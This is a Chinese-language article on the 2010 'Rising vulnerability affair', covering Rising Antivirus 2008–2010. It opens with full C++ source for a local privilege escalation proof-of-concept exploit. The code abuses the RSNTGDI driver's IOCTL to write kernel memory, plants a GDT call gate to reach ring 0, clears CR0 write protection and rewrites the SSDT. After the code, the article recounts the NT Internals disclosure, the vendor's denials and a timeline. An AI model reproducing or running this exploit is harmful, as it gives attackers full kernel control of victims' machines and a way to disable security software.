标题：瑞星漏洞门事件
瑞星漏洞测试及研究C++源代码
#include "stdafx.h"
#include "windows.h"
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG   Unknown1;
ULONG   Unknown2;
PVOID   Base;
ULONG   Size;
ULONG   Flags;
USHORT  Index;
USHORT  NameLength;
USHORT  LoadCount;
USHORT  PathLength;
CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG   Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ; 
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ; 
ULONG btr ; 
ULONG ColorBuffer = 0 ; 
DeviceIoControl(g_RsGdiHandle , 
0x83003C0B, 
&ColorValue ,
sizeof(ULONG),
&ColorBuffer , 
sizeof(ULONG),
&btr , 
0
);
DeviceIoControl(g_RsGdiHandle , 
0x83003C0B, 
&ColorValue ,
sizeof(ULONG),
Address , 
sizeof(ULONG),
&btr , 
0
);
return ; 
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{
push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax 
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]
push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax  
call WriteKVM
mov eax,Icount
add eax , 0x4
cmp eax,0x10
jnz LoopWrite
}
return ; 
}
void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ; 
}
#pragma pack(1)
typedef struct _IDTR
{
SHORT  IDTLimit;
UINT  IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ; 
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;
Img = IMAGE_FIRST_SECTION(NT);
if (Rva < Img->PointerToRawData)
return Rva;
for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img[i].SizeOfRawData)
Limit = Img[i].SizeOfRawData;
else
Limit = Img[i].Misc.VirtualSize;
if (Rva >= Img[i].VirtualAddress &&
Rva < (Img[i].VirtualAddress + Limit))
{
if (Img[i].PointerToRawData != 0)
{
Offset -= Img[i].VirtualAddress;
Offset += Img[i].PointerToRawData;
}
return Offset;
}
}
return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD    offset:12;
WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER    pfh;
PIMAGE_OPTIONAL_HEADER    poh;
PIMAGE_SECTION_HEADER    psh;
PIMAGE_BASE_RELOCATION    pbr;
PIMAGE_FIXUP_ENTRY    pfe;    
DWORD    dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL    bFirstChunk;
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT) 
{
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) 
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
*ImageBase = poh->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}    
return 0;
}
DWORD CR0Reg ; 
ULONG realssdt ; 
void InKerneProc()
{
__asm
{
cli
mov eax, cr0 
mov CR0Reg,eax 
and eax,0xFFFEFFFF 
mov cr0, eax 
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i];
}
__asm 
{ 
mov eax, CR0Reg     
mov cr0, eax 
sti
} 
}
int main(int argc, char* argv[])
{
printf("Rising AntiVirus 2008 ~ 2010 \n"
"Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");
g_RsGdiHandle = CreateFile("\\\\.\\RSNTGDI" , 
0,
FILE_SHARE_READ | FILE_SHARE_WRITE , 
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ; 
}
SYSTEM_MODULE_INFORMATION ModuleInfo ; 
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");
ULONG infosize = sizeof(ModuleInfo);
__asm
{
push 0
push infosize
lea eax , ModuleInfo
push eax
push 11
call pNtQuerySystemInformation
}
HMODULE KernelHandle ; 
LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);
// Load the kernel image specified
KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ; 
}
ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");
if (KeSSDT == 0 )
{
return 0 ; 
}
ULONG ImageBase = 0 ; 
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ; 
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ; 
ULONG i ; 
for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;
}
realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;
SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
AddCallGate();
IntoR0(InKerneProc);
return 0;
}
瑞星漏洞被国外组织曝光
 
2010年初，波兰一家安全组织NT Internals发表申明说：瑞星杀毒软件长期存在两个本地提权0day安全漏洞，使木马病毒能轻易获得瑞星用户的系统控制权。瑞星杀毒的这两个漏洞涉及瑞星杀毒软件2008、2009、2010等主要版本，而且利用方式简单、稳定，能使黑客在攻击瑞星用户时获得系统最高权限。
根据这家安全组织的公告，其发现的两个漏洞在瑞星的2008 2009 2010版本中均存在。并且瑞星在回应中也对此承认，瑞星说：波兰ntinternals组织分别于2008年10月、2009年4月分别向瑞星研发部门通报了以上两个漏洞，双方就相关问题进行了技术沟通。
来自国内的安全组织南京大学计算机系软件小组也证实了这一点，其发表在博客中的文章称：安全软件存在这样严重的安全漏洞非常罕见。瑞星的第二个漏洞不但完全没有修复，利用方式也非常简单，可以使黑客获得系统最高权限，让用户电脑以及政府机构和企业的内网完全丧失防御能力。而第一个漏洞尽管被部分修复，黑客仍可以将存在漏洞的瑞星驱动文件提取出来，用来武装自己制作的木马，以突破其它安全软件的防御（安全软件通常都会放行带瑞星数字签名的驱动文件），所以即便没有安装瑞星的电脑也有可能因为这个漏洞而遭殃。这两个漏洞涉及2008 2009 2010，可以说影响面很广，并且是高危漏洞。[1]﻿ 
瑞星第三个漏洞曝光
2010年2月1日最新消息，波兰安全组织NT Internals官网近日再次发文，确认瑞星官网下载的瑞星2010版仍然存在“本地提权”漏洞。并声称他“从瑞星2010版上又找到了一个新漏洞。”
2010年1月29日，该网站最新发布了一篇题为《瑞星杀毒软件2008/2009/2010是否还有漏洞？》的文章。作者Alex在文中再度确认，他29日从瑞星中文官网下载的瑞星2010版仍然存在“本地提权”漏洞。作为证据，他此次干脆公开了该漏洞的部分利用代码。在文章最后，Alex声称他正在“写另一个新的安全建议”，因为他“从瑞星杀毒2010中发现了另外一个漏洞”。
一周前，波兰安全组织NT Internals披露了瑞星杀毒软件存在的两个“本地提权”0day漏洞，并称通报给瑞星近一年后，瑞星仅“部分修复”了第一个漏洞，第二个漏洞则“完全没有修复”。南京大学计算机系软件小组和360公司都验证了这一漏洞真实存在，并且利用方式非常简单，可以使黑客获得系统最高权限，让用户电脑以及政府机构和企业的内网完全丧失防御能力。随后360向用户紧急提供了针对该漏洞的临时补丁。
但瑞星公司先后两次发表声明称，早在2009年5月就“彻底修复了两个漏洞”，竭力弱化“本地提权”漏洞的危害性，并用“国际知名公司产品的数十个同类漏洞从未被实际利用过”这一理由为自己的行为辩护。
针对瑞星杀软漏洞的攻击代码已经在国内外权威漏洞库、安全网站、论坛大量流传，相应的木马样本也已现身黑客论坛。经多家论坛测试，在不使用360临时补丁的情况下，漏洞攻击代码可轻松破坏瑞星用户上所有安全软件的保护。
另据瑞星官方论坛及多家网络安全论坛网友反馈，瑞星杀毒软件自1月29日夜间开始大规模升级部分驱动文件，而且正是存在“本地提权”漏洞的文件。截止发稿前，瑞星并没有公开说明此次升级是否与修复漏洞有关。 
瑞星漏洞门事件回放
1、2008年9月，波兰安全组织NT Internals发现瑞星杀毒软件中存在一个“本地提权”0day漏洞，并秘密报告瑞星公司；
2、2009年4月，NT Internals发现瑞星杀毒软件中存在第二个“本地提权”0day漏洞，并秘密报告瑞星公司；
3、2010年1月23日，瑞星一直未能修复两个漏洞，NT Internals将漏洞信息在其官网曝光；     2010年1月28日，瑞星发表声明称“早在2009年5月就对两个漏洞进行了彻底修复”；
4、2010年1月28日，南京大学计算机系软件小组经验证认为瑞星仍存在漏洞；相关链接： 
5、2010年1月29日，360安全中心发布瑞星漏洞临时补丁；
6、2010年1月29日，瑞星再发声明承认产品存在漏洞，但同时认为“瑞星用户在上网时不会受到这种漏洞影响，在实际应用中极难被利用来进行远程攻击”。而此时，网上针对瑞星漏洞的攻击代码已大量流传。
7、2010年1月29日，波兰安全组织NT Internals发公告《瑞星杀毒软件2008/2009/2010是否还有漏洞？》，再度确认28日从瑞星中文官网下载的瑞星2010最新版仍存在同一漏洞。同时公布了部分利用代码RsNTGdi_Exp.zip，并称“从瑞星2010版上又找到了一个新漏洞。”[2]﻿﻿